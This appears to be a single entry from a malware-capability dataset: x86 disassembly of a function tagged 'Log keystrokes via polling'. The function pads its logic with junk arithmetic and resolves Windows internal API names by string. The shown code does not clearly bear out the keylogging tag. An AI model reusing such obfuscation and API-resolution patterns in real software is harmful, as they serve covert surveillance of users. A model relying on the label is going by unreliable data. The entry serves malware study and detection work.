Function at 0x60fe36
Capabilities:
Log keystrokes via polling

Disassembly:
fstp qword [0x65dbd0]
je 0x60fe50
fld qword [0x65dbd0]
fadd qword [0x65c1b0]
fstp qword [0x65dbd0]
mov ebx, dword fs:[0x18]
mov dword [ebp - 4], ebx
mov eax, dword [0x65d024]
xor ebx, ebx
mov dword [ebp - 8], ebx
lea ecx, [eax + eax]
mov eax, dword [0x65d020]
or ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [0xa5df50]
fild qword [ebp - 0xc]
cmp ecx, eax
fadd qword [0x65d040]
fstp qword [0x65d040]
je 0x60fe91
xor eax, ecx
mov dword [0x65d020], eax
mov edx, dword [ebp - 4]
mov cl, byte [0x65d037]
mov esi, dword [0x65d028]
mov dword [ebp - 8], ebx
mov eax, dword [edx + 0x30]
mov dl, byte [0x65d036]
xor dl, cl
mov dword [ebp - 4], eax
mov eax, dword [0x65d02c]
mov byte [0x65d036], dl
mov edx, esi
shr edx, 1
add eax, edx
xor edx, edx
mov edi, eax
mov dl, cl
and edi, 7
mov ecx, dword [ebp - 4]
imul edi, edx
mov dl, byte [0x65d03d]
add esi, edi
mov dword [0x65d02c], eax
mov dword [0x65d028], esi
mov edi, dword [ecx + 0xc]
mov cl, byte [0x65d031]
or cl, dl
mov edx, dword [0x65d020]
mov byte [0x65d031], cl
mov cl, byte [0x65d035]
or cl, 2
shr cl, 1
and ecx, 0xff
mov dword [ebp - 4], ecx
lea ecx, [edx*8]
fild dword [ebp - 4]
mov edx, dword [0x65d024]
or ecx, edx
fdivr qword [0x65d048]
mov dword [ebp - 0xc], ecx
mov ecx, eax
xor ecx, edx
shl ecx, 1
cmp ecx, 0x10d40975
fadd qword [0x65c1a8]
fstp qword [0x65dbe0]
fild qword [ebp - 0xc]
mov edi, dword [edi + 0x1c]
fstp qword [0x65d048]
jne 0x60ff58
xor esi, esi
mov dword [0x65d028], esi
mov edi, dword [edi + 8]
cmp edi, ebx
mov dword [0x85def4], edi
je 0x610396
push 0x4a
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov cl, byte [0x65d036]
mov esi, dword [0x65d024]
movsx edi, ax
mov al, byte [0x65d035]
push str.CsrGetProcessId
and al, cl
mov byte [0x65d035], al
mov eax, dword [0x65d020]
mov edx, eax
and eax, 8
shr edx, 5
and esi, edx
xor edx, edx
mov dl, cl
mov dword [0x65d024], esi
imul eax, edx
mov esi, dword [0x65d02c]
or esi, eax
mov eax, dword [0x85def4]
push eax
mov dword [0x65d02c], esi
shl byte [ebp], 1
call fcn.0060f8c0
mov ecx, dword [0x85def4]
push str.LdrRegisterDllNotification
push ecx
mov dword [0x65dd54], eax
call fcn.0060f8c0
mov cl, byte [0x65d035]
mov dword [0x65ddac], eax
mov al, byte [0x65d036]
mov edx, dword [0x85def4]
xor al, cl
push str.NtSetValueKey
mov byte [0x65d036], al
or al, 0x30
shr al, 4
and eax, 0xff
push edx
mov dword [ebp - 4], eax
fild dword [ebp - 4]
fdivr qword [0x65dc40]
fstp qword [0x65dbd0]
fld qword [0x65dbe0]
fadd qword [0x65d040]
fstp qword [0x65dbe0]
call fcn.0060f8c0
mov dword [0x65dd4c], eax
mov eax, dword [0x85def4]
push str.DbgQueryDebugFilterState
push eax
mov cl, byte [0x65d038]
mov bl, byte [0x65d03c]
and bl, cl
mov ecx, eax
or ecx, 2
mov byte [0x65d03c], bl
sub esi, ecx
mov ecx, dword [0x65d020]
xor ebx, ebx
or ecx, 1
mov bl, byte [0x65d03d]
cmp eax, 0x830065d0
loop 0x6103c9
imul ecx, ebx
xor eax, ecx
mov cl, byte [0x65d032]
or cl, 0x10
mov ebx, dword [0x65d020]
shr cl, 3
and ecx, 0xff
mov dword [0x65d02c], eax
mov dword [ebp - 4], ecx
mov ecx, dword [0x65d038]
add bl, bl
inc ebp
cld
and eax, 0xc
and ecx, 0xff
shl edx, 6
imul eax, ecx
fdivr qword [0x65dbd0]
add ebx, edx
mov ecx, 0x65dd30
mov dword [0x65d020], ebx
mov dword [0x65da44], 0x40
fadd qword [0x65d048]
fstp qword [0x65dc40]
mov dl, byte [0x65d031]
mov bl, byte [0x65d03b]
xor bl, dl
mov edx, dword [ecx]
mov byte [0x65d03b], bl
mov bl, byte [0x65d039]
sbb eax, 0x65d039
xor edi, edx
mov dl, byte [0x65d032]
add ecx, 4
xor bl, dl
xor esi, eax
cmp ecx, 0x65de30
mov byte [0x65d039], bl
jb 0x61042b
mov eax, dword [0x65d024]
mov dword [ebp - 8], 0
mov dword [0x65d028], esi
lea ecx, [eax*8]
mov eax, dword [0x65d020]
or ecx, eax
mov eax, edi
mov dword [ebp - 0xc], ecx
pop edi
fild qword [ebp - 0xc]
pop esi
pop ebx
fstp qword [0x65d040]
mov esp, ebp
pop ebp
ret